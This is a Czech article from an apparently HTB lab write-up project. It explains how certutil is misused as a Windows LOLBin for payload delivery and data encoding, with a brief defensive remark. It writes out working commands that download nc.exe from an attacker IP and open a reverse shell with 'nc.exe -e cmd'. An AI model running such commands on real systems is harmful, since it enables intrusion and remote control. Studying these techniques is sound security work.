certutil
Úvod a kontext
certutil se v tomto projektu neobjevuje jako nástroj pro certifikáty, ale jako praktický Windows LOLBin pro doručení dalších souborů nebo pro jednoduchou práci s daty na hostu. Je cenný právě proto, že už na Windows často bývá přítomný a není potřeba na kompromitovaný stroj nejdřív dostat další downloader.
Na Develu stahuje nc.exe, Sherlock.ps1 i Meterpreter payload. Na RE je součástí dokumentového řetězce, kde makro přes certutil stáhne nc.exe. Na BigHeadu slouží nejen ke stažení webshellu, ale i k zakódování dat z ADS a obrázku. Na Bankrobberu se přes něj stahuje nc.exe v okamžiku, kdy admin browser spustí příkaz na localhostu.
Co certutil v praxi řeší
V místních rozborech řeší certutil hlavně tři věci:
- stažení souboru na Windows host bez dalšího nástroje,
- jednoduché zakódování nebo dekódování dat,
- a technické dotažení přechodu z jednorázového vykonání příkazu ke stabilnějšímu shellu.
Právě to je jeho praktická role. Není to “exploit”. Je to velmi pohodlný pomocník po footholdu nebo po command injection.
Nejčastější scénáře využití v tomto projektu
Stažení pomocné binárky po prvním kódu na hostu
Na Develu je use case velmi čistý. FTP upload webshellu dá první command execution, ale ten je potřeba rychle změnit na stabilnější shell:
certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/nc.exe c:\programdata\nc.exe
c:\programdata\nc.exe -e cmd 10.10.14.5 4000
To je přesně typická praktická role certutilu:
- na hostu už něco spustit lze,
- ale ještě chybí použitelný nástroj pro stabilnější práci,
- a
certutildoručí soubor bez nutnosti dalšího downloaderu.
Na stejném hostu pak stejnou logikou stáhne i Sherlock.ps1 a další payload.
Doručení payloadu přes interní automatizaci nebo browser
Na RE je certutil součástí makra v .ods dokumentu. Makro samo o sobě neřeší shell až do konce; využije certutil pro stažení nc.exe a tím vznikne stabilní reverzní spojení. Na Bankrobberu zase admin browser na localhostu vykoná příkaz, který pomocí certutil stáhne nc.exe do c:\\windows\\temp\\nc.exe.
To je důležitý pattern:
- původní vektor otevře jen omezený command execution,
certutilrychle doručí užitečnější binárku,- a útok přejde z křehkého jednorázového kroku do normálního shellu.
Zakódování a vytažení dat
Na BigHeadu je hezky vidět i druhá praktická role certutilu: ne jen stahování, ale práce s daty.
certutil -encode root.txt:Zone.Identifier foo.txt
certutil -encode c:\Users\Administrator\Pictures\admin.png key.txt
Tady už nejde o delivery payloadu, ale o jednoduché zakódování vedlejších artefaktů do podoby, se kterou se dál snadno pracuje. To ukazuje, proč je certutil dobré vnímat jako širší post-exploitation pomocný nástroj, ne jen downloader.
Kdy je certutil nejlepší volba
Největší smysl dává tehdy, když:
- už na hostu lze spustit příkaz,
- cílový Windows systém nemá pohodlnější downloader po ruce,
- a potřebujete rychle doručit nebo zpracovat konkrétní soubor.
Je praktický hlavně proto, že snižuje množství dalších závislostí. Není třeba spoléhat na PowerShell download cradles nebo na to, že je na hostu dostupný jiný nástroj.
Co certutil neumí vyřešit za vás
certutil:
- sám neotevře command execution,
- neobejde omezení sítě nebo aplikace,
- a nedá automaticky privilegovaný shell.
Na Develu jeho hodnotu vytváří až ASPX webshell. Na RE až automatické otevření dokumentu. Na Bankrobberu až XSS a localhost command execution. certutil řeší transport nebo manipulaci s daty, ne původní zranitelnost.
Nejčastější chyby při použití
Čtení certutilu jen jako downloaderu
V projektu je sice nejčastější právě stahování souborů, ale BigHead ukazuje, že stejná binárka je užitečná i pro kódování a práci s vedlejšími artefakty.
Ignorování toho, že jde o LOLBin
Právě proto je z obranného pohledu důležitý. Když útočník použije legitimní systémovou binárku, nemusí se na hostu objevit nic nápadného kromě samotného procesu a síťového spojení.
Záměna za finální řešení
certutil obvykle jen doručí další krok:
nc.exe,- PowerShell skript,
- payload,
- nebo pomocný soubor.
Jeho hodnota je praktická, ale mezikroková.
Nejčastější praktické scénáře
Mám command execution na Windows a potřebuji stáhnout binárku
To je Devel a Bankrobber.
Mám dokumentový nebo browser-based vektor a potřebuji z něj udělat stabilní shell
To je RE.
Potřebuji na hostu rychle zakódovat nebo vytáhnout vedlejší data
To je BigHead.
Související články v projektu
- Rozbory: Devel, RE, BigHead, Bankrobber
- Techniky: Automatizované zpracování souborů a bezpečnostní pipeline, Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci, Klientské, desktopové a ne-textové artefakty po footholdu
Co si odnést do praxe
certutilje v praxi nejcennější jako vestavěný Windows pomocník pro doručení dalšího souboru nebo jednoduchou práci s daty po footholdu.- Největší hodnotu má tam, kde už existuje command execution, ale ještě chybí stabilnější pracovní nástroj.
- Obranně je důležité ho nevnímat jen jako certifikační utilitu, ale jako běžně zneužívaný LOLBin v post-exploitation řetězcích.
Další Související Články V Projektu
HTB Stroje
Techniky
- Live credential extraction z procesní paměti
- Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli
- Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů